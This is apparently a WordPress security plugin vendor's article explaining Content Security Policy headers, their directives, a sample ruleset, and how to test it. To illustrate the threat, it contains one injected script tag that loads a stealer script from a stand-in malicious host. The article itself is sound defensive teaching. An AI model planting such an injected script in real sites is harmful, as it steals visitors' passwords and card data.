Imagine you own a physical store. The entrance is open, but you have security staff checking everyone before they walk in. Content Security Policy (CSP) is exactly that, a security guard for your website that decides what is and isn’t allowed to load and run on your pages.
What Is Content Security Policy?
Content Security Policy is an HTTP header, a set of rules your server sends to the browser before a page loads. Those rules tell the browser where it’s allowed to load scripts, styles, images, fonts, and other resources from.
Without CSP, the browser will execute any script that appears on the page without question, regardless of where it comes from. With CSP, you define a list of trusted sources yourself, and everything else is automatically blocked.
Why Does This Matter? A Real-World Scenario
Let’s say your WordPress site has a vulnerable plugin. An attacker exploits that vulnerability and injects a single line of code into your database:
<script src="https://malicious-site.com/steal.js"></script>This script now loads for every visitor to your site. It can steal form data (passwords, email addresses, card numbers), redirect visitors to fake pages, or silently install malware.
If you have a CSP that says “scripts may only be loaded from my own domain,” this attack fails, the browser simply refuses to load the script from an unknown source. The attacker injected the code, but it never gets a chance to run.
This is the core of CSP protection: even if an attacker manages to inject malicious code, CSP prevents it from executing.
How CSP Works Technically
CSP consists of directives, each controlling one type of resource:
- script-src, where JavaScript files may be loaded from
- style-src, where CSS stylesheets may be loaded from
- img-src, where images may be loaded from
- font-src, where fonts may be loaded from
- connect-src, which servers the page may communicate with (API calls, analytics)
- frame-src, which sites may be loaded in iframes on your page
- frame-ancestors, which sites may embed your site in an iframe (protects against clickjacking)
- default-src, the fallback rule for all directives not explicitly defined
What to Include and What to Leave Out
This depends on what your site uses, but here’s a typical ruleset for a WordPress site with Google Fonts, jQuery, and Google Analytics:
default-src 'self';
script-src 'self' 'unsafe-inline' https://cdnjs.cloudflare.com https://code.jquery.com https://www.googletagmanager.com;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com data:;
img-src 'self' data: https:;
connect-src 'self' https://www.google-analytics.com https://analytics.google.com;
worker-src 'self' blob:;
frame-ancestors 'none';What Each Part Means
'self', you allow resources only from your own domain.
'unsafe-inline', you allow inline scripts and styles (those written directly into HTML). WordPress uses these heavily, so this is currently a necessity, though it slightly reduces protection.
https://fonts.googleapis.com and https://fonts.gstatic.com, if you use Google Fonts, both domains are required. Googleapis serves the CSS font list, Gstatic serves the actual font files.
data: in font-src, allows base64-encoded fonts that some plugins embed directly into CSS.
img-src 'self' data: https:, images from your site, base64 images, and all HTTPS images are allowed. This is permissive but practical for blogs that embed images from various sources.
worker-src 'self' blob:, WordPress emoji system uses web workers with blob URLs, so this is needed for emoji to work correctly.
frame-ancestors 'none', your site may not be embedded in an iframe on another site. This prevents clickjacking attacks where an attacker overlays your site with a transparent layer to trick users into clicking something they can’t see.
What to Add for Specific Services
- CookieYes / cookie consent: add
https://cdn-cookieyes.comto script-src andhttps://log.cookieyes.comto connect-src - Freemius (plugin payments): add
https://checkout.freemius.comto script-src, connect-src, and frame-src - PayPal: add
https://*.paypal.com https://*.paypalobjects.comto script-src - reCAPTCHA: add
https://www.google.com https://recaptcha.netto script-src and frame-src - YouTube embeds: add
https://www.youtube.comto frame-src - Vimeo embeds: add
https://player.vimeo.comto frame-src
How to Enable It in Trusti Security
Content Security Policy is available in Trusti Security Premium, in the Security Headers module.
- Go to Trusti Security → Security Headers
- Enable the Content Security Policy toggle
- Paste your rules into the text field
- Click Save Changes
We recommend starting with the preset values we’ve prepared for a standard WordPress site, then adjusting them to your needs, adding the domains of services you use.
How to Test If Your CSP Is Working Correctly
The fastest way is the browser console. In Chrome: right-click on the page → Inspect → Console tab. If you see messages containing “Content Security Policy directive,” something is being blocked.
Each such message tells you exactly which domain was blocked and which rule was violated. Based on that, add that domain to the appropriate directive.
Another useful tool is Google CSP Evaluator, paste your rules and it will flag potential weak points.
Common Mistakes When Setting Up CSP
An overly restrictive CSP can break site functionality, for example, blocking payments or analytics. Always check the console after every change and test the key features of your site.
Forgotten subdomains, if you use https://fonts.googleapis.com, don’t forget https://fonts.gstatic.com where the actual font files are served. Every domain must be explicitly listed.
Plugins that add inline scripts, many WordPress plugins inject scripts directly into HTML. That’s why 'unsafe-inline' is currently a practical necessity on WordPress sites. If you ever want a stricter policy in the future, you’ll need to use nonces or hash values, we’ll cover that in a separate post.
Need Help Setting It Up?
Content Security Policy can be tricky to configure, especially if your site uses many different services and plugins. A mistake in CSP can break checkout, contact forms, or analytics, and you might not even notice right away.
Our team can analyze your site, identify all required domains, and set up an optimal CSP that protects your site without breaking anything that currently works.